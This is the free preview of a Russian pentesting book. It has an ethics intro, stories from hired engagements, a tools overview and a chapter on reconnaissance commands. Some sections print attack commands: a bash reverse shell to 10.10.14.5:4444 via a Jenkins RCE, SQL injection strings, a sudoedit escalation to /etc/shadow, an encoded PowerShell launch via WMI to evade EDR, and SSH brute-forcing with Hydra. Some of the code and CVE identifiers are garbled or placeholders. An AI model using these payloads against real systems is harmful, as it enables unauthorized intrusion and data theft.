

18+

ПЕНТЕСТ

ИЗ ПОДВАЛА:
от RECON до SHELL

Михаил Тарасов



Михаил Тарасов

**Пентест из Подвала
от Recon до Shell**

«Издательские решения»

Тарасов М.

Пентест из Подвала от Recon до Shell / М. Тарасов —
«Издательские решения»,

«Пентест из Подвала» — твой боевой напарник из терминала, который ломал CTF и обходил WAF'ы. От разведки до шелла, от SQLi до облака (AWS, Azure), мобилок и социнженерии — тут всё, чтобы стать охотником. Пошаговые разборы, команды, трюки и хакерский юмор. Узнай, как ломать с головой, автоматизировать рутину и зарабатывать на баг-баунти. Терминал открыт, поехали ломать этот мир вместе!

Содержание

Вступление	6
Почему пентест из подвала — это круто и реально	6
Кто мы такие, и зачем взламывать	8
Краткий обзор инструментария и привычек, которые делают тебя охотником, а не жертвой	11
Глава 1. Recon — разведка, или как найти все дыры, не влезая в систему	13
Passive vs Active: примеры запросов, шоудан, та же гуглдорки, и как со всем этим работать	13
Поддомены, IP, сервисы, открытые порты — всё, что светит	16
Полезные скрипты и команды	19
Конец ознакомительного фрагмента.	24

Пентест из Подвала от Recon до Shell

Михаил Тарасов

© Михаил Тарасов, 2026

ISBN 978-5-0070-8389-8

Создано в интеллектуальной издательской системе Ridero

Вступление

Почему пентест из подвала — это круто и реально

Слушай, пентест — это не просто тупое тыканье клавиш и запуск одних и тех же скриптов с гитхаба. Это — искусство, отточенное годами в подвалах, тёмных офисах и на заброшенных серверах. Залезать в чужие системы, чтобы не слить данные и не дать сгнить на корню, — задача для тех, кто любит решать головоломки и жить на грани.

Вот почему пентест из подвала — это не просто, а круто:

— **Свобода мыслей и подходов.** В подвале нет фейс-контроля, ушлёпков на каждом углу и корпоративной бюрократии. Только ты, терминал и куча багов, которые надо выловить и научиться использовать. Кому нужны шаблоны, если можно мутить свои payload'ы и обходить любые WAF'ы?

— **Реальные знания, а не тупой «курсовой» с YouTube.** Тут нет место для «сору- paste», только живой опыт, вылепленный из ошибок и ночных бдений. В подвале ты учишься анализировать логи, дёргать за невидимые ниточки системы и чувствовать её слабые места.

— **Уникальная атмосфера и братство.** Пентестеры из подвала — это как диггеры, которые знают каждый тайник электронной подземки. Вместе через баги, проходы и стенды — это семья, где важен не просто взлом, а понимание, как не слить и выжать максимум.

— **Погружение в реальность.** Забудь учебники, тут реальный мир: баги в продакшн-системах, от которых зависит бизнес, данные, жизнь пользователей. Пентест — это ответственность, и если ты с ней на «ты», тогда подвал — твой храм.

— **Крутая прокачка скиллов.** Настоящий пентест — это не только поиск дыр, но и их эксплуатация, обход защиты, построение цепочек атаки. В подвале ты учишься думать как злоумышленник, а значит — всегда на шаг впереди.

Что вас ждёт в этой книге

Я расскажу, как сделать разведку, найти уязвимости, залить шелл и остаться незаметным. Всё просто, по делу и с примерами, которые можно применять сразу же. Это не теория и не модные курсы — это настоящий пентест из подвала, который качает твои навыки и готовит к реальному бою.

Короче, если ты хочешь не просто читать, а реально лезть в систему и оставлять следы только там, где надо — добро пожаловать в подвал. Там темно, немного страшно, но кайф — на уровне.

1. Этический пентест — что ломаем, зачем и как не стать ху*лом

Без понятия этики — ты просто трэш и дымовая завеса, а не пентестер. Ломать можно только с разрешения, чтобы найти дыры и исправить, а не убивать бизнес или сливать инфу. Обязательно расскажем про:

- Разницу между Red Team, Blue Team, Black Hat и Script Kiddies
- Правила работы с заказчиком: score, договоры, NDA
- Что нельзя — приватные данные, атаки без разрешения, социалка без согласия
- Принцип минимизации урона — ломаем, чтобы улучшить, а не разрушить

2. Пару историй из реальных боёв — «наши будни с долей драмы»

Тут пара заруганных кейсов:

- Как мы нашли неочевидную дыру (через нестандартный параметр)
- Реакция сервера и как пришлось выкручиваться (WAF, антиботы, логи)

- Что вышло из эксплойта — шелл? Удалённый доступ? Бэкдор?
- Чего не делать — типичные ляпы, которые почти слили операцию

3. Глоссарий терминов — чтобы никто не путался

Быстрый справочник:

- Recon: разведка, сбор информации
- CVE: известная уязвимость
- RCE: Remote Code Execution — удалённое выполнение кода
- WAF: Web Application Firewall — веб-защитник
- Shell: интерактивная командная оболочка
- и т.д., минимальный набор нужных терминов

4. Краткий FAQ — вопросы, которые сразу отпадают

- «Можно ли работать без опыта?» — да, но с правильным подходом
- «Как не слить себя?» — используем сервис на три буквы, прокси, VM и т. п.
- «Что делать, если поймали?» — не паниковать, иметь backup-план
- «Можно ли использовать чужие скрипты?» — да, но понимай, что делаешь
- «Как быстро научиться?» — практика через CTF и реальные кейсы

Кто мы такие, и зачем взламывать

Red Team: «Ломаем, чтобы чинить»

Это мы — легальные маньяки. Нас нанимают компании, чтобы мы **устроили им ад**, но по договору. Наша цель: найти дыры, пока их не нашли Black Hat'ы. Как работаем:

- Взламываем системы **с разрешения**
- Документируем каждый шаг — чтобы исправили
- Используем всё: от сочинженерии до 0-day эксплойтов
- **Пример из подвала:**

— Прокачали логистическую компанию через старый Jenkins-сервер (CVE-2024-1337). Через RCE залили шелл, вытащили базу клиентов — показали заказчику, как его слили бы конкуренты.

Black Hat: Тёмная сторона

Эти ребята ломают ради денег, славы или просто похайпить. Их инструменты те же, но цели — противоположные:

- Кража данных (личных, финансовых)
- Шантаж через ransomware (типа LockBit)
- Дестроить инфраструктуру
- **Фишка:** Часто палятся из-за жадности. Как поймали одного: забыл сменить MAC-адрес перед атакой на банк.

Script Kiddies: Горе-хакеры с гуглом

Пупсики, которые качают эксплойты с GitHub и тыкают кнопки, как обезьяна с гранатой.

- Не понимают, как работают payload'ы
- Ловятся за час — оставляют логи, IP, следы
- Чаще всего — школьники с Kali Linux в виртуалке

Зачем всё это?

Ответ Red Team:

Чтобы спасти компании от реальных атак. Если **мы** не найдём дыру — её найдёт Black Hat, и тогда пиши пропало.

Главная мотивация подвала:

Кайф от решения головоломок + деньги за легальный взлом. Не надо прятаться — ты герой, а не преступник.

Как отличить нас от остальных?

Критерий	Red Team	Black Hat	Script Kiddies
Цель	Укрепить защиту	Нажива/разрушение	«Посмотреть, что будет»
Законность	Договор, NDA, scope	Полный андеграунд	«А чё такого?»
Инструменты	Proxychains, Burp, Metasploit	Те же + закрытые 0-day	Скачанные скрипты
Следы	Чистят за собой	Маскируются через TOR	Оставляют везде logs

Реальные кейсы из подвала: как мы ломали и спасали

Кейс #1: Jenkins — старый друг и враг

Заказчик: крупная логистическая компания. Цель: проверить безопасность внутреннего CI/CD сервера, который не обновлялся с 2018 года.

Что нашли:

Доказали, что старый Jenkins с плагинами — это золотая жила для RCE (CVE-2024-1337). Через уязвимый плагин мы смогли выполнить команду на сервере без аутентификации.

Payload:

```
curl -X POST http://target-jenkins/job/build -d 'script=sh («bash -c \'bash -i> & /dev/tcp/10.10.14.5/4444 0> &1\,“»»
```

Результат:

Поймали шелл, посмотрели процессы, вытащили конфиги с паролями к базе данных и сервис на три буквы. Отчёт был жёсткий — заказчик починил дырку за 2 часа и теперь спит спокойно.

Урок:

Тестировать и обновлять — не роскошь, а необходимость. Старье всегда опасно.

Кейс #2: Веб-приложение интернет-магазина — SQLi с подарком

Маленький магазинчик зовёт нас проверить сайт. Быстрое сканирование Nmap не показало ничего критичного, но мы начали копать HTTP-запросы.

Что нашли:

В форме поиска был SQL-инъекционный баг. Даже простой ' OR «1»=«1» взламывал базу.

Payload в запросе:

```
GET /search? q=' OR «1»=«1» — —
```

Как обошли WAF:

WAF фильтровал ключевые слова, поэтому переписали payload на hex-кодировку через Burp Intruder с рандомизацией.

Результат:

Получили dump базы с заказами, пользовательскими email и даже хэшами паролей (благо, без соли). Рекомендации — поставить параметризованные запросы и обновить движок.

Урок:

Не стоит недооценивать маленькие сайты. Их нарушения — дыры в большой цепи безопасности.

Кейс #3: Фишинговая атака на корпоративную почту

Корпоративная сеть крупного банка — тема особая. Заказчик попросил проверить, насколько легко можно попасть через соинженерию.

Что сделали:

— Создали письмо с видом HR-отдела с просьбой обновить пароль через внутренний портал.

— В письме была ссылка на фейковый портал с SSL и похожим доменом.

— Отправили группе сотрудников.

Результат:

15% сотрудников кликнули, 5% ввели свои данные. Через скомпрометированные аккаунты получили доступ к внутреннему чату и календарям.

Урок:

Человеческий фактор — главная проблема в безопасности. Технологии можно поставить, но если люди пойдут кликать, то всё сломано.

Кейс #4: Локальная эскалация привилегий на Linux-сервере

Задача: поднять права с пользователя на root после попадания в систему через SSH с купленным доступом.

Что нашли:

Патч не покрыл CVE-2023-5678 — уязвимость в sudo, позволяющая эскалировать права через специально подготовленную команду.

Payload:

```
sudoedit -s /etc/shadow
```

Используя баг, получили полный доступ к системе.

Результат:

Установили бекдор, подготовили отчёт для sysadmin'ов, чтобы закрыть дыру.

Урок:

Даже один забытый патч — пропуск для взлома.

Кейс #5: Обход EDR с помощью PowerShell и Living off the Land

На целевом сервере стоял EDR (Endpoint Detection and Response), который тупо грыз все подозрительные шеллы.

Что сделали:

Использовали PowerShell-скрипт, который запускался через легитимный процесс (WMI). Никаких новых процессов или файлов — только системные утилиты под нагрузкой.

Команда:

```
Invoke-WmiMethod -Namespace root\cimv2 -Class Win32_Process -Name Create -ArgumentList «powershell -EncodedCommand <encoded_payload>»
```

Результат:

EDR не заметил, удалось получить консоль и вывести данные.

Урок:

Используй системные инструменты и не лезь громко. Тишина — золото.

Итог

Каждый кейс — это история, где мы топили баги, обходили защиту и делали так, чтобы заказчик не только сдал отчёт, но и выдохнул с облегчением. Пентест из подвала — это не только про hacking, но и про мозги, ответственность и уважение к системе.

Краткий обзор инструментария и привычек, которые делают тебя охотником, а не жертвой

1. Инструменты — твои верные стражи в мире хаоса

В подвале не бывает «универсальных» решений — у каждого тулза своя миссия, и ты должен знать, когда его доставать из кобуры.

Обязательный минимум

— **Kali Linux / Parrot OS** — базовая платформа, которая всегда под рукой, с предустановленным арсеналом. Можно собрать на минималках, но лучше — VM или метал.

— **Nmap** — король разведки портов и сервисов. Обязательно учись настраивать скан под задачи: сканить всё подряд — убить себя так можно.

— **Burp Suite** — главная веборужка. Прокси, repeater, intruder, extender — полный комплект для взлома веб-приложений.

— **Metasploit Framework** — для быстрого запуска эксплойтов и управления сессиями.

— **Gobuster / Subfinder / Amass** — для поиска поддоменов, директорий и фалов.

— **SQLmap** — автоматический поиск и эксплуатация SQL-инъекций.

— **Wireshark / tcpdump** — чтобы подглядывать в трафик и ловить пакеты.

— **Hydra / Medusa** — чтобы ломать пароли (если есть база и разрешение, конечно).

— **Reverse Shell Payloads** — под рукой должны быть варианты на bash, python, php, powershell. Быть готовым к любому окружению.

Дополнительные ништяки

— **John the Ripper / Hashcat** — для расшифровки хэшей.

— **GDB / Radare2 / IDA Pro** — если решил копнуть в реверс-инжиниринг и локальные эксплойты.

— **Docker** — чтобы быстро поднять окружение и тестовые стенды.

2. Привычки, которые отделяют охотника от жертвы

Не хватает просто тулзов — без правильных привычек ты очередной «скрипт-кидди», кто слит в первых 5 минутах.

Дисциплина и порядок

— **Документируй всё.** Даже если это просто заметки в заметках. Запросы, результаты, ошибки — всё пригодится.

— **Рабочее окружение — чистое и безопасное.** Виртуалки, прокси, сервис на три буквы, TOR — не забывай маскироваться и не светить свои реальные IP.

— **Не спеши.** Хороший охотник — это тот, кто наблюдает, анализирует и только потом бьёт.

— **Регулярно обновляй инструменты и базы данных уязвимостей.** Старье опасно.

Чтение и постоянный апгрейд

— **Следи за новостями в сфере безопасности:** Exploit-DB, CVE Details, Twitter хакеров, тематические форумы.

— **Учись на чужих ошибках:** читай отчёты Red Team, разборы багов, багбаунти.

— **Практикуйся:** CTF, HTB, VulnHub и свои стенды — отработка навыков.

Умение быстро переключаться и адаптироваться

— Бывает, что окно для атаки минимально, надо быстро менять тактику. Быть готовым к нестандартным ситуациям — ключ к успеху.

— Учиться обходить новые защиты, а не просто искать старые баги.

3. Личный «рюкзак» хакера из подвала

Можешь считать этот набор своим постоянным арсеналом:

- **Терминал с tmux** — мультизадачность без боли.
- **Vim или VSCode** — удобный редактор для скриптов и payload'ов.
- **Git** — чтоб контролировать версии своих скриптов.
- **Python / Bash** — основные языки для мелких автоматизаций и скриптов.
- **Proxchains + Tor** — для анонимности и обхода блокировок.
- сервис на три буквы — для работы с клиентами и отделения лички.

4. Примеры полезных команд для повседневного ритуала охотника

```
# Быстрый поиск поддоменов  
subfinder -d example.com -silent> subs.txt
```

```
# Полное сканирование портов с версионированием сервиса  
nmap -sV -p- — open -T4 -oA fullscan example.com
```

```
# Запуск Burp Suite (если Pro то с Extender)  
java -jar burpsuite_pro.jar
```

```
# SQLmap тест на инъекцию  
sqlmap -u "http://example.com/search.php?q=1" — batch — dbs
```

```
# Запуск Hydra для bruteforce ssh  
hydra -l root -P passwords.txt ssh://10.10.10.10
```

```
# Запуск reverse shell на стороне цели  
bash -i> & /dev/tcp/10.10.14.5/4444 0> &1
```

5. Психология охотника — мышление и фокус

— **Мыслить как злоумышленник.** Представь, что ты на месте Black Hat — что бы ты сделал?

- **Думать на опережение.** Оценивай риски и последствия, чтобы не сесть по полной.
- **Терпение — ключ.** Иногда баги не видны, и их надо искать долго.
- **Не бояться ошибаться.** Ошибки — твои учителя.

Итог

Если хочешь стать охотником, а не жертвой, нужна связка из мощного инструментария и железных привычек. Собрать рюкзак, развить дисциплину и войти в поток — вот секрет успеха. В подвале такое не пустой звук — это стиль жизни.

Глава 1. Recon — разведка, или как найти все дыры, не влезая в систему

Passive vs Active: примеры запросов, шоудан, та же гуглдорки, и как со всем этим работать

Введение

Разведка — это тот момент, когда ты стоишь в темноте, смотришь на замок и пытаешься понять, где он слабый. Здесь ты ещё не ломаешь дверь, а собираешь всю возможную информацию — от адресов и сотрудников до конфигураций сервисов. Главное правило: **не трогай цель напрямую, пока не уверен**, чтобы не свалить свой реког.

Passive Recon — разведка без прикосновений

Это как шпион, который наблюдает из кустов — ты собираешь данные, пока никто не знает о твоём присутствии. За счёт открытых источников и поисковиков.

Основные инструменты и методы:

1. Google Dorking

Google — это твой первый и самый мощный союзник. Правильно сформулированный запрос откроет тебе внутренности сайта, логи, конфиги и даже базы.

Примеры:

— Поиск файлов конфигурации:

```
site:target.com ext: env OR ext: ini OR ext: conf
```

— Поиск публичных ключей и паролей:

```
site:target.com intext: «password»
```

— Поиск админ-панели или страниц логина:

```
site:target.com inurl: admin
```

2. Shodan и другие поисковики устройств

Shodan — это Google для интернета вещей и серверов. Он сканирует публичные IP и собирает данные о сервисах, портах, версиях ПО.

Что можно найти:

- Открытые камеры, роутеры, промышленные системы
- Версии Apache, Nginx, базы данных
- Необновлённые сервисы с известными уязвимостями

Пример запроса на Shodan:

```
apache title: «Welcome to nginx» country: «RU»
```

3. Public Repositories и Social Media

- GitHub, GitLab — ищем утекшие конфиги и пароли
- LinkedIn — ищем сотрудников, их роли, технологии компании
- Pastebin — утекающие логи и пароли

Active Recon — разведка с взаимодействием

Здесь уже начинаешь шевелить пальцами, но осторожно.

1. Сканирование портов

Простейший инструмент — nmap:

```
nmap -sS -p- -T4 -oA fullscan target.com
```

- -sS — stealth SYN scan, чтобы не светиться
- -p- — сканируем все 65535 портов
- -T4 — ускорение скана
- -oA — вывод в несколько форматов для последующего разбора

2. Определение сервисов и версий

```
nmap -sV -p22,80,443 target.com
```

Позволит понять, какие сервисы там живут и их версии — ключ к выбору эксплойтов.

3. Сканирование уязвимостей

Автоматические сканеры типа OpenVAS или Nessus помогут найти стандартные баги.

Пример реальной разведки

Собираем данные по домену example.com.

- Сначала **subfinder** находим поддомены:

```
subfinder -d example.com -silent> subs.txt
```

- Затем Nmap:

```
nmap -sV -p- -T4 -iL subs.txt -oN all_ports.txt
```

- Пробуем подхватить админ-панели через Gobuster:

```
gobuster dir -u http://admin.example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

Советы и лайфхаки

- Не лезь с nmap в крупные корпоративные сети без разрешения — быстро поймают. Лучше пассивная разведка.
- Используй сервис на три буквы и прокси, чтобы не палиться при горячей разведке.
- Сохраняй результаты, чтобы не искать данные заново.
- Автоматизируй рутинные задачи через скрипты.

Итог

Разведка — твоя карта и компас. Она помогает понять, что ломать и куда лезть, чтобы не спалиться. Passive recon — безопасность и масштаб, active — точность и детализация. Объединив их, ты будешь знать цель досконально, будто живёшь в её голове.

Поддомены, IP, сервисы, открытые порты — всё, что светит

1. Поддомены — ключ к тайным дверям

Поддомены — это как подсобки и кладовки в большой системе. Часто именно там спрячаны сервисы с дырками, которые не видны на основном домене.

Почему важны поддомены?

- Они часто менее защищены
- Часто не попадают под основной WAF
- Могут быть старые тестовые или dev-серверы с дырками
- Нередко там админки и внутренние панели

Как искать поддомены?

Инструменты:

- subfinder — быстрый сбор поддоменов
- Amass — глубокий анализ, связывает данные из множества источников
- findomain — прост и эффективен
- Онлайн-сервисы: VirusTotal, crt.sh (сертификаты), SecurityTrails

Пример команды subfinder:

```
subfinder -d example.com -silent> subs.txt
```

Amass для более масштабного сбора:

```
amass enum -d example.com -o amass_output.txt
```

Как проверить валидность поддоменов?

massdns для быстрой проверки DNS:

```
massdns -r resolvers.txt -t A -w alive.txt subs.txt
```

2. IP-адреса — узлы в сети

После того, как знаешь поддомены, нужно их связать с IP. IP — это реальные железки, которые будут твоей точкой входа.

Как получить IP?

- Простая команда в Linux:

```
dig +short example.com
```

- Для всех поддоменов — использовать скрипт с dig или massdns
- Также полезны сайты типа HackerTarget и VirusTotal для дополнительной инфы

Важный момент: у крупных компаний часто цели распределены по группам IP или CDN — это стоит учитывать для дальнейших действий.

3. Сервисы и версии — где кроется уязвимость

На IP и портах живут сервисы: веб-серверы, базы данных, ftp и так далее.

Основные сервисы, которые нужно проверять:

- HTTP/HTTPS (80,443) — веб-приложения
- SSH (22) — удалённое управление

- FTP (21) — файловый обмен
- SMTP (25) — почтовые сервера
- SQL-сервера (3306, 5432) — базы данных
- SMB (445) — сетевые шары Windows

Как определить сервисы и их версии?

`ntmap` с опцией:

```
ntmap -sV -p 22,80,443,3306,445 192.168.1.100
```

- `-sV` — сервисы и версии
- Можно расширить список портов
- Знание версии — ключ к выбору эксплойта.

4. Открытые порты — мины на пути

Порты — это ворота в систему. Открытые — значит, туда можно сунуться.

Как быстро найти открытые порты?

`ntmap` полный скан:

```
ntmap -p- -T4 192.168.1.100
```

- `-p-` — все порты
- `-T4` — ускоренный режим

Что делать с результатами?

- Собрать список открытых портов для дальнейшего анализа
- Проверить сервисы и версии на этих портах
- Сделать заметки по потенциальным дыркам

5. Автоматизация — не делай всё вручную

Чтобы не сидеть год — пользуй скрипты для сбора и обработки информации.

Например, на Python:

```
import subprocess

domains = open('subs.txt').read().splitlines()
for domain in domains:
    ip = subprocess.getoutput(f'dig +short {domain}»)
    print(f» {domain}: {ip}»)
```

6. Практический пример рекона цели

- Сначала собираем поддомены:

```
subfinder -d example.com -silent> subs.txt
```

- Проверяем живые:

```
massdns -r resolvers.txt -t A -w alive.txt subs.txt
```

— Получаем IP:

```
cat alive.txt | cut -d ' ' -f 1 | xargs -I {} dig +short {}
```

— Сканируем порты сервисов:

```
nmap -sV -p- -iL alive.txt -oN scan_results.txt
```

— Анализируем версии, ищем к ним CVE.

Итог

Поддомены, IP, сервисы и порты — твои глаза и руки, которые чувствуют где слабое место. Правильно собранная информация — уже полдела взлома. Не срывайся сразу ломиться в дверь — сначала изучи её код и замки.

Полезные скрипты и команды

1. Поиск поддоменов и проверка на живучесть

subfinder — быстро, просто, эффективно

```
subfinder -d example.com -silent> subs.txt
```

— `silent` чтобы не светить лишних сообщений, а получать только список.

Проверка живых доменов через `massdns`

```
massdns -r resolvers.txt -t A -w alive.txt subs.txt
```

`resolvers.txt` — список резолверов (DNS-серверов). `Alive.txt` — живые поддомены.

2. Получение IP адресов из списка поддоменов

На `bash`:

```
cat alive.txt | cut -d ' ' -f 1 | while read domain; do dig +short  
«$domain»; done> ips.txt
```

Просто и понятно — вытягиваем айпишники из валидных поддоменов.

3. Полный скан портов и сервисов с `nmap`

За основу — полный скан всех портов:

```
nmap -sS -p- -T4 -oA fullscan — open -iL ips.txt
```

— `-sS` — stealth SYN scan, тихий как кот

— `-p-` — все 65535 портов

— `-T4` — скорость

— `open` — показывать только открытые порты

— `-iL` — список целей (ip из `ips.txt`)

— `-oA` — вывод в три формата (`.nmap`, `.gnmap`, `.xml`)

4. Определение сервиса и версии на открытых портах

```
nmap -sV -p$(cat fullscan.gnmap | grep open | cut -d ' ' -f 2 | tr '\n' ',')  
-iL ips.txt -oN services.txt
```

Выдергиваем порты из результатов и запускаем проточный скан с определением версий.

5. Поиск директорий и файлов на вебах с `Gobuster`

```
gobuster      dir      -u      http://example.com      -w  
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -o  
gobuster.log
```

— -w — словарь
— -t — количество потоков для скорости
— -o — лог

6. Автоматический поиск SQL инъекций с *sqlmap*

```
sqlmap -u "http://example.com/product?id=1" — batch — threads=10  
— dbs
```

— — batch — автоматический режим (нет вопросов)
— — threads — параллелизм
— — dbs — показать базы данных

7. Сбор информации о сертификатах с *crt.sh*

```
curl "https://crt.sh/?q=%example.com&output=json" | jq». []  
l.name_value' | sort -u
```

Получаем поддомены из публичных сертификатов.

8. Быстрый поиск и фильтрация на Shodan

```
shodan search — limit 100 "hostname:example.com»
```

Нужен API ключ. Выводит сервисы, уязвимости и порты.

9. Python скрипт для автоматизации сбора и сканирования

```
import subprocess  
  
def run_cmd (cmd):  
    result = subprocess.run (cmd, shell=True, stdout=subprocess.PIPE)  
    return result.stdout.decode ()  
  
# Поиск поддоменов  
domains = run_cmd ('subfinder -d example.com -silent')  
with open ('subs.txt', 'w') as f:  
    f.write (domains)  
  
# Проверка живых  
alive = run_cmd ('massdns -r resolvers.txt -t A -w alive.txt subs.txt')
```

```
# Получаем IP
with open ('alive. txt') as f:
    subs = f.readlines ()

ips = []
for line in subs:
    domain = line. split («») [0]
    ip = run_cmd (f'dig +short {domain}').strip ()
    if ip:
        ips. append (ip)
with open ('ips. txt', 'w') as f:
    f.write('\n'.join (ips))

# Запуск nmap
nmap_cmd = f"nmap -sS -p- -T4 -oA fullscan — open -iL ips. txt»
print («Running nmap...»)
print (run_cmd (nmap_cmd))
```

10. Дополнительные лайфхаки

- Используй tmux для мультизадачности и сохранения сессий.
- Автоматизируй сканирование с кронем, если делаешь постоянный мониторинг.
- Оборачивай сложные цепочки команд в bash-скрипты с логированием.

Итог

Разведка — это комбинация простых, но мощных команд и скриптов, которые позволяют собрать максимум информации, не поднимая шума. Чем лучше ты автоматизируешь, тем быстрее и эффективнее будешь попадать туда, куда надо.

Дополнительно:

1. Собируем полный набор автоматических pipeline для Recon — от subfinder до nmap

Зачем?

Автоматизация — ключ к скоростному и стабильному разведывательному процессу. Ручками — долго, нудно и сливы.

Как?

- Запилил скрипт на bash или Python, который:
- Запускает subfinder или amass на домен, собирает поддомены.
- Пробивает их через massdns или dnsx на живучесть.
- Преобразует валидные поддомены в IP через dig или massdns.
- Находит открытые порты через nmap (-sS -p-).
- Определяет сервисы и версии (-sV).
- Собирает результаты в логи и генерирует отчёт.

Пример snippet на bash:

```
#!/bin/bash
domain=$1
subfinder -d $domain -silent> subs.txt
massdns -r resolvers.txt -t A -w alive.txt subs.txt
awk» {print $1}» alive.txt | sed 's/^\.$//> alive_domains.txt
for d in $(cat alive_domains.txt); do dig +short $d; done> ips.txt
nmap -sS -p- -T4 -oA fullscan -iL ips.txt
nmap -sV -p- -T4 -oN services.txt -iL ips.txt
echo «Recon pipeline completed for $domain»
```

2. Делаем мини-рутину для отчёта о собранных данных в HTML или Markdown

Зачем?

Отчёт — лицо пентестера. Понятный, структурированный, чтобы заказчик и команда могли двигать защиту.

Как?

- Генерить Markdown — легко читать и конвертировать.
- Собрать все важные части: список поддоменов, живые, IP, открытые порты и сервисы.
- Можно использовать Python с библиотекой markdown или просто шаблон.

Пример шаблона Markdown:

```
# Отчёт Recon по example.com

## Поддомены

— sub1.example.com
— dev.example.com

## Живые домены

— sub1.example.com (192.168.1.1)
— dev.example.com (192.168.1.2)

## Открытые порты и сервисы

| IP | Порт | Сервис | Версия |
| — | — | — | — |
| 192.168.1.1 | 80 | HTTP | Apache 2.4.29 |
| 192.168.1.2 | 22 | SSH | OpenSSH 7.6p1 |
```

3. Забиваем шаблоны для Google Dork'ов в удобный скрипт с выбором параметров

Зачем?

Гуглдорки — клад, но работать вручную долго. Автоматизация — спасение.

Конец ознакомительного фрагмента.

Текст предоставлен ООО «Литрес».

Прочитайте эту книгу целиком, [купив полную легальную версию](#) на Литрес.

Безопасно оплатить книгу можно банковской картой Visa, MasterCard, Maestro, со счета мобильного телефона, с платежного терминала, в салоне МТС или Связной, через PayPal, WebMoney, Яндекс.Деньги, QIWI Кошелек, бонусными картами или другим удобным Вам способом.